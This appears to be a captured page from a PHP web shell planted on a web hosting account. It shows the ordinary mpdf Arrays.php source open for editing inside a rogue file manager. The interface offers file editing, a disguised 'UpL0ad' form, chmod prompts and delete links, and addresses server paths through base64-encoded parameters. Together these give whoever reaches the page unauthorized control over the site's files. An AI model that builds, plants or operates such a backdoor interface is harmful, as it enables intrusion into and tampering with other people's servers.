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<hr>Arrays.php<form method=post action="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=QXJyYXlzLnBocA%3D%3D"><input name="f" value="Arrays.php"><textarea name="t">&lt;?php

namespace Mpdf\Utils;

class Arrays
{

	public static function get($array, $key, $default = null)
	{
		if (is_array($array) &amp;&amp; array_key_exists($key, $array)) {
			return $array[$key];
		}

		if (func_num_args() &lt; 3) {
			throw new \InvalidArgumentException(sprintf('Array does not contain key &quot;%s&quot;', $key));
		}

		return $default;
	}

	/**
	 * Returns an array of all k-combinations from an input array of n elements, where k equals 1..n.
	 * Elements will be sorted and unique in every combination.
	 *
	 * Example: array[one, two] will give:
	 * [
	 *     [one],
	 *     [two],
	 *     [one, two]
	 * ]
	 * @param array $array
	 * @return array
	 */
	public static function allUniqueSortedCombinations($array)
	{
		$input = array_unique($array);
		if (count($input) &lt;= 1) {
			return [$input];
		}

		sort($input);
		$combinations = [];
		foreach ($input as $value) {
			$combinations[] = [$value];
		}

		$n = count($input);
		for ($k = 2; $k &lt;= $n; $k++) {
			$combinations = array_merge($combinations, self::combinations($input, $k));
		}

		return $combinations;
	}

	/**
	 * Returns an array of unique k-combinations from an input array.
	 *
	 * Example: array=[one, two, three] and k=2 will give:
	 * [
	 *     [one, two],
	 *     [one, three]
	 * ]
	 * @param array $array
	 * @param int $k
	 * @return array
	 */
	public static function combinations($array, $k)
	{
		$n = count($array);
		$combinations = [];
		$indexes = range(0, $k - 1);
		$maxIndexes = range($n - $k, $n - 1);
		do {
			$combination = [];
			foreach ($indexes as $index) {
				$combination[] = $array[$index];
			}
			$combinations[] = $combination;

			$anotherCombination = false;
			for ($i = $k - 1; $i &gt;= 0; $i--) {
				if ($indexes[$i] &lt; $maxIndexes[$i]) {
					$indexes[$i]++;
					$anotherCombination = true;
					break;
				}
			}
		} while ($anotherCombination);

		return $combinations;
	}
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1s">/home/futureforeverco/public_html</a><hr>curdir: /home/futureforeverco/public_html/vendor/mpdf/mpdf/src/Utils<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>89</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3Jj"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>247</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&x=QXJyYXlzLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=QXJyYXlzLnBocA=="/>Arrays.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=QXJyYXlzLnBocA==&c=`+btoa(c):0" value="0644"></td><td>1984</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&x=TnVtZXJpY1N0cmluZy5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=TnVtZXJpY1N0cmluZy5waHA="/>NumericString.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=TnVtZXJpY1N0cmluZy5waHA=&c=`+btoa(c):0" value="0644"></td><td>262</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&x=UGRmRGF0ZS5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=UGRmRGF0ZS5waHA="/>PdfDate.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=UGRmRGF0ZS5waHA=&c=`+btoa(c):0" value="0644"></td><td>931</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&x=VXRmU3RyaW5nLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=VXRmU3RyaW5nLnBocA=="/>UtfString.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1V0aWxz&f=VXRmU3RyaW5nLnBocA==&c=`+btoa(c):0" value="0644"></td><td>1510</td></tr></table>